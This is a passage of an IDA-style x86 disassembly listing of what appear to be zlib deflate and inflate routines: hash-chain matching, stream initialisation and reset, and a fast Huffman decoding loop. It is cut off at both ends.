		call	sub_40F0DD
		mov	eax, [esi+74h]
		cmp	eax, edi
		jnb	short loc_40F66F
		cmp	[esp+1Ch], ebx
		jz	loc_40F946


loc_40F66F:				; CODE XREF: .text:0040F663j
		cmp	eax, ebx
		jz	loc_40F960


loc_40F677:				; CODE XREF: .text:0040F657j
		cmp	eax, 3
		jb	short loc_40F6C9
		mov	eax, [esi+48h]
		mov	ecx, [esi+58h]
		mov	edx, [esi+6Ch]
		mov	ebp, [esi+34h]
		shl	eax, cl
		mov	ecx, [esi+38h]
		movzx	ecx, byte ptr [ecx+edx+2]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	ecx, [esi+44h]
		mov	[esi+48h], eax
		mov	ax, [ecx+eax*2]
		and	ebp, edx
		mov	edx, [esi+40h]
		mov	[edx+ebp*2], ax
		mov	eax, [esi+6Ch]
		and	eax, [esi+34h]
		mov	ecx, [esi+40h]
		movzx	eax, word ptr [ecx+eax*2]
		mov	ecx, [esi+44h]
		mov	dx, [esi+6Ch]
		mov	[esp+10h], eax
		mov	eax, [esi+48h]
		mov	[ecx+eax*2], dx


loc_40F6C9:				; CODE XREF: .text:0040F67Aj
		mov	eax, [esi+60h]
		mov	edx, [esp+10h]
		cmp	edx, ebx
		push	2
		mov	[esi+78h], eax
		mov	eax, [esi+70h]
		pop	ebp
		mov	[esi+64h], eax
		mov	[esi+60h], ebp
		jz	short loc_40F754
		mov	eax, [esi+78h]
		cmp	eax, [esi+80h]
		jnb	short loc_40F754
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+2Ch]
		sub	eax, edx
		sub	ecx, edi
		cmp	eax, ecx
		ja	short loc_40F754
		mov	ecx, [esi+88h]
		cmp	ecx, ebp
		jz	short loc_40F718
		cmp	ecx, 3
		jz	short loc_40F71D
		push	edx
		mov	ecx, esi
		call	sub_40EF0E
		add	esp, 4
		jmp	short loc_40F72B
; ---------------------------------------------------------------------------


loc_40F718:				; CODE XREF: .text:0040F704j
		cmp	ecx, 3
		jnz	short loc_40F72E


loc_40F71D:				; CODE XREF: .text:0040F709j
		cmp	eax, 1
		jnz	short loc_40F72E
		mov	edi, edx
		mov	eax, esi
		call	sub_40F053


loc_40F72B:				; CODE XREF: .text:0040F716j
		mov	[esi+60h], eax


loc_40F72E:				; CODE XREF: .text:0040F71Bj
					; .text:0040F720j
		mov	eax, [esi+60h]
		cmp	eax, 5
		ja	short loc_40F754
		cmp	dword ptr [esi+88h], 1
		jz	short loc_40F751
		cmp	eax, 3
		jnz	short loc_40F754
		mov	eax, [esi+6Ch]
		sub	eax, [esi+70h]
		cmp	eax, 1000h
		jbe	short loc_40F754


loc_40F751:				; CODE XREF: .text:0040F73Dj
		mov	[esi+60h], ebp


loc_40F754:				; CODE XREF: .text:0040F6E1j
					; .text:0040F6ECj ...
		mov	eax, [esi+78h]
		cmp	eax, 3
		jb	loc_40F8B3
		cmp	[esi+60h], eax
		ja	loc_40F8B3
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+74h]
		mov	edx, [esi+16A0h]
		mov	edi, [esi+16A4h]
		lea	ebp, [eax+ecx-3]
		mov	cx, [esi+6Ch]
		sub	cx, [esi+64h]
		mov	al, [esi+78h]
		sub	al, 3
		dec	cx
		movzx	ecx, cx
		mov	[edi+edx*2], cx
		mov	edi, [esi+16A0h]
		mov	edx, [esi+1698h]
		mov	[edx+edi], al
		inc	dword ptr [esi+16A0h]
		movzx	eax, al
		movzx	eax, ds:byte_41FFE0[eax]
		add	ecx, 0FFFFh
		lea	eax, [esi+eax*4+498h]
		inc	word ptr [eax]
		cmp	cx, 100h
		movzx	eax, cx
		jnb	short loc_40F7D7
		movzx	eax, ds:byte_41FDE0[eax]
		jmp	short loc_40F7E1
; ---------------------------------------------------------------------------


loc_40F7D7:				; CODE XREF: .text:0040F7CCj
		shr	eax, 7
		movzx	eax, ds:byte_41FEE0[eax]


loc_40F7E1:				; CODE XREF: .text:0040F7D5j
		lea	eax, [esi+eax*4+988h]
		inc	word ptr [eax]
		mov	eax, [esi+169Ch]
		xor	ecx, ecx
		dec	eax
		cmp	[esi+16A0h], eax
		mov	eax, [esi+78h]
		setz	cl
		mov	edi, ecx
		xor	ecx, ecx
		inc	ecx
		sub	ecx, eax
		add	[esi+74h], ecx
		add	eax, 0FFFFFFFEh
		mov	[esi+78h], eax


loc_40F810:				; CODE XREF: .text:0040F869j
		inc	dword ptr [esi+6Ch]
		mov	edx, [esi+6Ch]
		cmp	edx, ebp
		ja	short loc_40F866
		mov	eax, [esi+48h]
		mov	ecx, [esi+58h]
		mov	ebx, [esi+34h]
		shl	eax, cl
		mov	ecx, [esi+38h]
		movzx	ecx, byte ptr [ecx+edx+2]
		xor	eax, ecx
		and	eax, [esi+54h]
		mov	ecx, [esi+44h]
		mov	[esi+48h], eax
		mov	ax, [ecx+eax*2]
		and	ebx, edx
		mov	edx, [esi+40h]
		mov	[edx+ebx*2], ax
		mov	eax, [esi+6Ch]
		and	eax, [esi+34h]
		mov	ecx, [esi+40h]
		movzx	eax, word ptr [ecx+eax*2]
		mov	ecx, [esi+44h]
		mov	dx, [esi+6Ch]
		mov	[esp+10h], eax
		mov	eax, [esi+48h]
		mov	[ecx+eax*2], dx
		xor	ebx, ebx


loc_40F866:				; CODE XREF: .text:0040F818j
		dec	dword ptr [esi+78h]
		jnz	short loc_40F810
		inc	dword ptr [esi+6Ch]
		cmp	edi, ebx
		mov	eax, [esi+6Ch]
		mov	[esi+68h], ebx
		mov	dword ptr [esi+60h], 2
		jz	loc_40F64D
		mov	edx, [esi+5Ch]
		cmp	edx, ebx
		jl	short loc_40F891
		mov	ecx, [esi+38h]
		add	ecx, edx
		jmp	short loc_40F893
; ---------------------------------------------------------------------------


loc_40F891:				; CODE XREF: .text:0040F888j
		xor	ecx, ecx


loc_40F893:				; CODE XREF: .text:0040F88Fj
		push	ebx
		sub	eax, edx
		push	eax
		push	ecx
		push	esi
		call	sub_412DBD
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_40E627
		jmp	loc_40F93B
; ---------------------------------------------------------------------------


loc_40F8B3:				; CODE XREF: .text:0040F75Aj
					; .text:0040F763j
		cmp	[esi+68h], ebx
		jz	loc_40F94E
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		mov	al, [eax+ecx-1]
		mov	ecx, [esi+16A0h]
		mov	edx, [esi+16A4h]
		mov	[edx+ecx*2], bx
		mov	edx, [esi+16A0h]
		mov	ecx, [esi+1698h]
		mov	[ecx+edx], al
		inc	dword ptr [esi+16A0h]
		movzx	eax, al
		lea	eax, [esi+eax*4+94h]
		inc	word ptr [eax]
		mov	eax, [esi+169Ch]
		dec	eax
		cmp	[esi+16A0h], eax
		jnz	short loc_40F935
		mov	ecx, [esi+5Ch]
		cmp	ecx, ebx
		jl	short loc_40F915
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_40F917
; ---------------------------------------------------------------------------


loc_40F915:				; CODE XREF: .text:0040F90Cj
		xor	eax, eax


loc_40F917:				; CODE XREF: .text:0040F913j
		mov	edx, [esi+6Ch]
		push	ebx
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_412DBD
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_40E627


loc_40F935:				; CODE XREF: .text:0040F905j
		inc	dword ptr [esi+6Ch]
		dec	dword ptr [esi+74h]


loc_40F93B:				; CODE XREF: .text:0040F8AEj
		mov	eax, [esi]
		cmp	[eax+10h], ebx
		jnz	loc_40F64D


loc_40F946:				; CODE XREF: .text:0040F669j
					; .text:0040F9E2j
		xor	eax, eax


loc_40F948:				; CODE XREF: .text:0040F9EBj
					; .text:0040F9FEj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40F94E:				; CODE XREF: .text:0040F8B6j
		inc	dword ptr [esi+6Ch]
		dec	dword ptr [esi+74h]
		mov	dword ptr [esi+68h], 1
		jmp	loc_40F64D
; ---------------------------------------------------------------------------


loc_40F960:				; CODE XREF: .text:0040F671j
		cmp	[esi+68h], ebx
		jz	short loc_40F99E
		mov	eax, [esi+6Ch]
		mov	ecx, [esi+38h]
		mov	cl, [eax+ecx-1]
		mov	edi, [esi+16A4h]
		lea	eax, [esi+16A0h]
		mov	edx, [eax]
		mov	[edi+edx*2], bx
		mov	edi, [eax]
		mov	edx, [esi+1698h]
		mov	[edx+edi], cl
		inc	dword ptr [eax]
		movzx	eax, cl
		lea	eax, [esi+eax*4+94h]
		inc	word ptr [eax]
		mov	[esi+68h], ebx


loc_40F99E:				; CODE XREF: .text:0040F963j
		mov	ecx, [esi+5Ch]
		cmp	ecx, ebx
		jl	short loc_40F9AC
		mov	eax, [esi+38h]
		add	eax, ecx
		jmp	short loc_40F9AE
; ---------------------------------------------------------------------------


loc_40F9AC:				; CODE XREF: .text:0040F9A3j
		xor	eax, eax


loc_40F9AE:				; CODE XREF: .text:0040F9AAj
		xor	edx, edx
		cmp	dword ptr [esp+1Ch], 4
		setz	dl
		push	edx
		mov	edx, [esi+6Ch]
		sub	edx, ecx
		push	edx
		push	eax
		push	esi
		call	sub_412DBD
		mov	eax, [esi+6Ch]
		mov	[esi+5Ch], eax
		mov	eax, [esi]
		add	esp, 10h
		call	sub_40E627
		mov	eax, [esi]
		cmp	[eax+10h], ebx
		jnz	short loc_40F9F0
		cmp	dword ptr [esp+1Ch], 4
		jnz	loc_40F946
		push	2
		pop	eax
		jmp	loc_40F948
; ---------------------------------------------------------------------------


loc_40F9F0:				; CODE XREF: .text:0040F9DBj
		xor	eax, eax
		cmp	dword ptr [esp+1Ch], 4
		setz	al
		lea	eax, [eax+eax+1]
		jmp	loc_40F948

; =============== S U B	R O U T	I N E =======================================



sub_40FA03	proc near		; CODE XREF: sub_40FA8A+1A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_40FA83
		mov	esi, [edi+1Ch]
		cmp	esi, ebx
		jz	short loc_40FA83
		cmp	[edi+20h], ebx
		jz	short loc_40FA83
		cmp	[edi+24h], ebx
		jz	short loc_40FA83
		push	2
		mov	[edi+14h], ebx
		mov	[edi+8], ebx
		mov	[edi+18h], ebx
		pop	ecx
		mov	[edi+2Ch], ecx
		mov	eax, [esi+8]
		mov	[esi+10h], eax
		mov	eax, [esi+18h]
		cmp	eax, ebx
		mov	[esi+14h], ebx
		jge	short loc_40FA45
		neg	eax
		mov	[esi+18h], eax


loc_40FA45:				; CODE XREF: sub_40FA03+3Bj
		mov	eax, [esi+18h]
		mov	edx, eax
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFFFB9h
		push	ebx
		add	edx, 71h
		cmp	eax, ecx
		push	ebx
		mov	[esi+4], edx
		push	ebx
		jnz	short loc_40FA65
		call	sub_40E5EB
		jmp	short loc_40FA6A
; ---------------------------------------------------------------------------


loc_40FA65:				; CODE XREF: sub_40FA03+59j
		call	sub_40E0E6


loc_40FA6A:				; CODE XREF: sub_40FA03+60j
		add	esp, 0Ch
		mov	[edi+30h], eax
		push	esi
		mov	[esi+28h], ebx
		call	sub_412850
		pop	ecx
		call	sub_40EE90
		xor	eax, eax
		jmp	short loc_40FA86
; ---------------------------------------------------------------------------


loc_40FA83:				; CODE XREF: sub_40FA03+Bj
					; sub_40FA03+12j ...
		push	0FFFFFFFEh
		pop	eax


loc_40FA86:				; CODE XREF: sub_40FA03+7Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40FA03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA8A	proc near		; CODE XREF: sub_40FC5A+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_18]
		push	ebx
		xor	ebx, ebx
		xor	ecx, ecx
		push	esi
		inc	ebx
		cmp	eax, ecx
		push	edi
		jz	loc_40FC52
		cmp	byte ptr [eax],	31h
		jnz	loc_40FC52
		cmp	[ebp+arg_1C], 38h
		jnz	loc_40FC52
		mov	edi, [ebp+arg_0]
		cmp	edi, ecx
		jnz	short loc_40FAC1


loc_40FABA:				; CODE XREF: sub_40FA8A+82j
					; sub_40FA8A+88j ...
		push	0FFFFFFFEh
		jmp	loc_40FC54
; ---------------------------------------------------------------------------


loc_40FAC1:				; CODE XREF: sub_40FA8A+2Ej
		cmp	[edi+20h], ecx
		mov	[edi+18h], ecx
		jnz	short loc_40FAD3
		mov	dword ptr [edi+20h], offset sub_41302F
		mov	[edi+28h], ecx


loc_40FAD3:				; CODE XREF: sub_40FA8A+3Dj
		cmp	[edi+24h], ecx
		jnz	short loc_40FADF
		mov	dword ptr [edi+24h], offset sub_413040


loc_40FADF:				; CODE XREF: sub_40FA8A+4Cj
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_40FAEC
		mov	[ebp+arg_4], 6


loc_40FAEC:				; CODE XREF: sub_40FA8A+59j
		cmp	[ebp+arg_C], ecx
		jge	short loc_40FAF8
		xor	ebx, ebx
		neg	[ebp+arg_C]
		jmp	short loc_40FB05
; ---------------------------------------------------------------------------


loc_40FAF8:				; CODE XREF: sub_40FA8A+65j
		cmp	[ebp+arg_C], 0Fh
		jle	short loc_40FB05
		sub	[ebp+arg_C], 10h
		push	2
		pop	ebx


loc_40FB05:				; CODE XREF: sub_40FA8A+6Cj
					; sub_40FA8A+72j
		mov	eax, [ebp+arg_10]
		dec	eax
		cmp	eax, 8
		ja	short loc_40FABA
		cmp	[ebp+arg_8], 8
		jnz	short loc_40FABA
		mov	eax, [ebp+arg_C]
		add	eax, 0FFFFFFF8h
		cmp	eax, 7
		ja	short loc_40FABA
		push	9
		pop	eax
		cmp	[ebp+arg_4], eax
		ja	short loc_40FABA
		cmp	[ebp+arg_14], 4
		ja	short loc_40FABA
		cmp	[ebp+arg_C], 8
		jnz	short loc_40FB36
		mov	[ebp+arg_C], eax


loc_40FB36:				; CODE XREF: sub_40FA8A+A7j
		push	16C0h
		push	1
		push	dword ptr [edi+28h]
		call	dword ptr [edi+20h]
		mov	esi, eax
		add	esp, 0Ch
		test	esi, esi
		jnz	short loc_40FB53


loc_40FB4C:				; CODE XREF: sub_40FA8A+1C3j
		push	0FFFFFFFCh
		jmp	loc_40FC54
; ---------------------------------------------------------------------------


loc_40FB53:				; CODE XREF: sub_40FA8A+C0j
		mov	eax, [ebp+arg_C]
		mov	[edi+1Ch], esi
		and	dword ptr [esi+1Ch], 0
		mov	ecx, eax
		mov	[esi+18h], ebx
		xor	ebx, ebx
		mov	[esi+30h], eax
		inc	ebx
		shl	ebx, cl
		mov	ecx, [ebp+arg_10]
		add	ecx, 7
		push	3
		lea	eax, [ebx-1]
		mov	[esi+34h], eax
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	[esi+50h], ecx
		xor	edx, edx
		mov	[esi], edi
		mov	[esi+4Ch], eax
		dec	eax
		mov	[esi+54h], eax
		lea	eax, [ecx+2]
		pop	ecx
		div	ecx
		push	2
		mov	[esi+2Ch], ebx
		push	ebx
		mov	[esi+58h], eax
		push	dword ptr [edi+28h]
		call	dword ptr [edi+20h]
		push	2
		push	dword ptr [esi+2Ch]
		mov	[esi+38h], eax
		push	dword ptr [edi+28h]
		call	dword ptr [edi+20h]
		push	2
		push	dword ptr [esi+4Ch]
		mov	[esi+40h], eax
		push	dword ptr [edi+28h]
		call	dword ptr [edi+20h]
		mov	ecx, [ebp+arg_10]
		mov	[esi+44h], eax
		xor	eax, eax
		add	ecx, 6
		inc	eax
		shl	eax, cl
		push	4
		lea	ebx, [esi+169Ch]
		push	eax
		mov	[ebx], eax
		push	dword ptr [edi+28h]
		call	dword ptr [edi+20h]
		mov	ecx, [ebx]
		mov	edx, ecx
		shl	edx, 2
		mov	[esi+0Ch], edx
		xor	edx, edx
		add	esp, 30h
		cmp	[esi+38h], edx
		mov	[esi+8], eax
		jz	short loc_40FC37
		cmp	[esi+40h], edx
		jz	short loc_40FC37
		cmp	[esi+44h], edx
		jz	short loc_40FC37
		cmp	eax, edx
		jz	short loc_40FC37
		mov	edx, ecx
		imul	ecx, 3
		shr	edx, 1
		lea	edx, [eax+edx*2]
		add	ecx, eax
		mov	eax, [ebp+arg_4]
		mov	[esi+84h], eax
		mov	eax, [ebp+arg_14]
		push	edi
		mov	[esi+16A4h], edx
		mov	[esi+1698h], ecx
		mov	[esi+88h], eax
		mov	byte ptr [esi+24h], 8
		call	sub_40FA03
		pop	ecx
		jmp	short loc_40FC55
; ---------------------------------------------------------------------------


loc_40FC37:				; CODE XREF: sub_40FA8A+166j
					; sub_40FA8A+16Bj ...
		mov	dword ptr [esi+4], 29Ah
		mov	eax, ds:off_420268
		push	edi
		mov	[edi+18h], eax
		call	sub_40EDE3
		pop	ecx
		jmp	loc_40FB4C
; ---------------------------------------------------------------------------


loc_40FC52:				; CODE XREF: sub_40FA8A+10j
					; sub_40FA8A+19j ...
		push	0FFFFFFFAh


loc_40FC54:				; CODE XREF: sub_40FA8A+32j
					; sub_40FA8A+C4j
		pop	eax


loc_40FC55:				; CODE XREF: sub_40FA8A+1ABj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40FA8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FC5A	proc near		; CODE XREF: sub_40E306+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	[esp+4+arg_8]
		push	0
		push	8
		push	0Fh
		push	8
		push	[esp+18h+arg_4]
		push	[esp+1Ch+arg_0]
		call	sub_40FA8A
		add	esp, 20h
		retn
sub_40FC5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC7B	proc near		; CODE XREF: sub_41025B+BF0p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	edx, [eax+10h]
		push	ebx
		mov	ebx, [eax]
		dec	ebx
		lea	ecx, [ecx+ebx-5]
		mov	[ebp+var_2C], ecx
		mov	ecx, edx
		sub	ecx, [ebp+arg_4]
		push	esi
		mov	esi, [eax+1Ch]
		push	edi
		mov	edi, [eax+0Ch]
		dec	edi
		add	ecx, edi
		mov	[ebp+var_3C], ecx
		lea	ecx, [edx+edi-101h]
		mov	[ebp+var_30], ecx
		mov	ecx, [esi+28h]
		mov	[ebp+var_24], ecx
		mov	ecx, [esi+2Ch]
		mov	[ebp+var_40], ecx
		mov	ecx, [esi+30h]
		mov	[ebp+var_18], ecx
		mov	ecx, [esi+34h]
		mov	[ebp+var_28], ecx
		mov	ecx, [esi+38h]
		mov	[ebp+var_4], ecx
		mov	ecx, [esi+3Ch]
		mov	[ebp+arg_4], ecx
		mov	ecx, [esi+4Ch]
		xor	edx, edx
		mov	[ebp+var_1C], ecx
		mov	ecx, [esi+50h]
		inc	edx
		mov	[ebp+var_20], ecx
		mov	ecx, [esi+54h]
		shl	edx, cl
		mov	ecx, [esi+58h]
		dec	edx
		mov	[ebp+var_34], edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		dec	edx
		mov	[ebp+var_38], edx


loc_40FCFA:				; CODE XREF: sub_40FC7B+356j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0Fh
		jnb	short loc_40FD1F
		add	[ebp+arg_4], 8
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		mov	ecx, [ebp+arg_4]
		add	[ebp+var_4], edx
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		add	[ebp+var_4], edx
		add	[ebp+arg_4], 8


loc_40FD1F:				; CODE XREF: sub_40FC7B+85j
		mov	ecx, [ebp+var_34]
		and	ecx, [ebp+var_4]
		mov	edx, [ebp+var_1C]
		mov	ecx, [edx+ecx*4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		shr	ecx, 8
		movzx	ecx, cl
		shr	[ebp+var_4], cl
		sub	[ebp+arg_4], ecx
		mov	[ebp+var_8], ecx
		movzx	ecx, dl
		test	ecx, ecx
		mov	[ebp+var_8], ecx
		jz	short loc_40FD91


loc_40FD4A:				; CODE XREF: sub_40FC7B+114j
		mov	ecx, [ebp+var_8]
		test	cl, 10h
		jnz	short loc_40FD9C
		test	cl, 40h
		jnz	loc_40FFEB
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_10]
		shr	ecx, 10h
		dec	edx
		and	edx, [ebp+var_4]
		add	edx, ecx
		mov	ecx, [ebp+var_1C]
		mov	ecx, [ecx+edx*4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		shr	ecx, 8
		movzx	ecx, cl
		shr	[ebp+var_4], cl
		sub	[ebp+arg_4], ecx
		mov	[ebp+var_8], ecx
		movzx	ecx, dl
		test	ecx, ecx
		mov	[ebp+var_8], ecx
		jnz	short loc_40FD4A


loc_40FD91:				; CODE XREF: sub_40FC7B+CDj
		inc	edi
		shr	edx, 10h
		mov	[edi], dl
		jmp	loc_40FFC9
; ---------------------------------------------------------------------------


loc_40FD9C:				; CODE XREF: sub_40FC7B+D5j
		shr	edx, 10h
		and	ecx, 0Fh
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], ecx
		jz	short loc_40FDD4
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+var_8]
		jnb	short loc_40FDBF
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		add	[ebp+var_4], edx
		add	[ebp+arg_4], 8


loc_40FDBF:				; CODE XREF: sub_40FC7B+135j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		inc	edx
		shl	edx, cl
		dec	edx
		and	edx, [ebp+var_4]
		shr	[ebp+var_4], cl
		add	[ebp+var_C], edx
		sub	[ebp+arg_4], ecx


loc_40FDD4:				; CODE XREF: sub_40FC7B+12Dj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0Fh
		jnb	short loc_40FDF9
		add	[ebp+arg_4], 8
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		mov	ecx, [ebp+arg_4]
		add	[ebp+var_4], edx
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		add	[ebp+var_4], edx
		add	[ebp+arg_4], 8


loc_40FDF9:				; CODE XREF: sub_40FC7B+15Fj
		mov	ecx, [ebp+var_38]
		and	ecx, [ebp+var_4]
		mov	edx, [ebp+var_20]
		mov	ecx, [edx+ecx*4]
		jmp	short loc_40FE25
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FC7B+1C5j
		test	cl, 40h
		jnz	loc_40FFE2
		xor	edx, edx
		inc	edx
		shl	edx, cl
		movzx	ecx, word ptr [ebp+var_10+2]
		dec	edx
		and	edx, [ebp+var_4]
		add	edx, ecx
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+edx*4]


loc_40FE25:				; CODE XREF: sub_40FC7B+18Aj
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		shr	ecx, 8
		movzx	ecx, cl
		shr	[ebp+var_4], cl
		sub	[ebp+arg_4], ecx
		mov	[ebp+var_8], ecx
		movzx	ecx, dl
		test	cl, 10h
		jz	short loc_40FE07
		and	ecx, 0Fh
		shr	edx, 10h
		cmp	[ebp+arg_4], ecx
		mov	[ebp+var_14], edx
		mov	[ebp+var_8], ecx
		jnb	short loc_40FE7E
		mov	ecx, [ebp+arg_4]
		add	[ebp+arg_4], 8
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		add	[ebp+var_4], edx
		cmp	[ebp+arg_4], ecx
		jnb	short loc_40FE7E
		mov	ecx, [ebp+arg_4]
		inc	ebx
		movzx	edx, byte ptr [ebx]
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		add	[ebp+var_4], edx
		add	[ebp+arg_4], 8


loc_40FE7E:				; CODE XREF: sub_40FC7B+1D6j
					; sub_40FC7B+1EEj
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_8]
		sub	[ebp+arg_4], ecx
		dec	edx
		and	edx, [ebp+var_4]
		shr	[ebp+var_4], cl
		add	[ebp+var_14], edx
		mov	edx, [ebp+var_14]
		mov	ecx, edi
		sub	ecx, [ebp+var_3C]
		cmp	edx, ecx
		jbe	loc_40FF91
		sub	edx, ecx
		cmp	edx, [ebp+var_40]
		mov	[ebp+var_8], edx
		ja	loc_40FFD9
		mov	ecx, [ebp+var_28]
		dec	ecx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_18]
		test	ecx, ecx
		jnz	short loc_40FEE5
		mov	ecx, [ebp+var_24]
		sub	ecx, edx
		add	[ebp+var_10], ecx
		mov	ecx, edx
		cmp	ecx, [ebp+var_C]
		jnb	loc_40FF5A
		sub	[ebp+var_C], ecx
		mov	ecx, [ebp+var_10]


loc_40FED8:				; CODE XREF: sub_40FC7B+266j
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		dec	[ebp+var_8]
		mov	[edi], dl
		jnz	short loc_40FED8
		jmp	short loc_40FF30
; ---------------------------------------------------------------------------


loc_40FEE5:				; CODE XREF: sub_40FC7B+242j
		cmp	ecx, edx
		jnb	short loc_40FF3A
		sub	ecx, edx
		add	ecx, [ebp+var_24]
		add	[ebp+var_10], ecx
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_C]
		jnb	short loc_40FF5A
		sub	[ebp+var_C], ecx


loc_40FEFF:				; CODE XREF: sub_40FC7B+290j
		inc	[ebp+var_10]
		mov	edx, [ebp+var_10]
		mov	dl, [edx]
		inc	edi
		dec	ecx
		mov	[edi], dl
		jnz	short loc_40FEFF
		mov	ecx, [ebp+var_28]
		dec	ecx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_C]
		jnb	short loc_40FF5A
		sub	[ebp+var_C], ecx
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_10]


loc_40FF25:				; CODE XREF: sub_40FC7B+2B3j
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		dec	[ebp+var_8]
		mov	[edi], dl
		jnz	short loc_40FF25


loc_40FF30:				; CODE XREF: sub_40FC7B+268j
					; sub_40FC7B+2DDj
		mov	ecx, edi
		sub	ecx, [ebp+var_14]
		mov	[ebp+var_10], ecx
		jmp	short loc_40FF5D
; ---------------------------------------------------------------------------


loc_40FF3A:				; CODE XREF: sub_40FC7B+26Cj
		sub	ecx, edx
		add	[ebp+var_10], ecx
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_C]
		jnb	short loc_40FF5A
		sub	[ebp+var_C], ecx
		mov	ecx, [ebp+var_10]


loc_40FF4D:				; CODE XREF: sub_40FC7B+2DBj
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		dec	[ebp+var_8]
		mov	[edi], dl
		jnz	short loc_40FF4D
		jmp	short loc_40FF30
; ---------------------------------------------------------------------------


loc_40FF5A:				; CODE XREF: sub_40FC7B+251j
					; sub_40FC7B+27Fj ...
		mov	ecx, [ebp+var_10]


loc_40FF5D:				; CODE XREF: sub_40FC7B+2BDj
		mov	edx, [ebp+var_C]
		cmp	edx, 2
		jbe	short loc_40FFB1
		lea	eax, [edx-3]
		push	3
		xor	edx, edx
		pop	ecx
		div	ecx
		mov	ecx, [ebp+var_10]
		inc	eax


loc_40FF73:				; CODE XREF: sub_40FC7B+30Fj
		sub	[ebp+var_C], 3
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		mov	[edi], dl
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		inc	ecx
		mov	[edi], dl
		mov	dl, [ecx]
		inc	edi
		dec	eax
		mov	[edi], dl
		jnz	short loc_40FF73
		mov	eax, [ebp+arg_0]
		jmp	short loc_40FFB1
; ---------------------------------------------------------------------------


loc_40FF91:				; CODE XREF: sub_40FC7B+222j
		mov	ecx, edi
		sub	ecx, edx


loc_40FF95:				; CODE XREF: sub_40FC7B+334j
		sub	[ebp+var_C], 3
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		mov	[edi], dl
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		inc	ecx
		mov	[edi], dl
		mov	dl, [ecx]
		inc	edi
		cmp	[ebp+var_C], 2
		mov	[edi], dl
		ja	short loc_40FF95


loc_40FFB1:				; CODE XREF: sub_40FC7B+2E8j
					; sub_40FC7B+314j
		cmp	[ebp+var_C], 0
		jz	short loc_40FFC9
		inc	ecx
		mov	dl, [ecx]
		inc	edi
		cmp	[ebp+var_C], 1
		mov	[edi], dl
		jbe	short loc_40FFC9
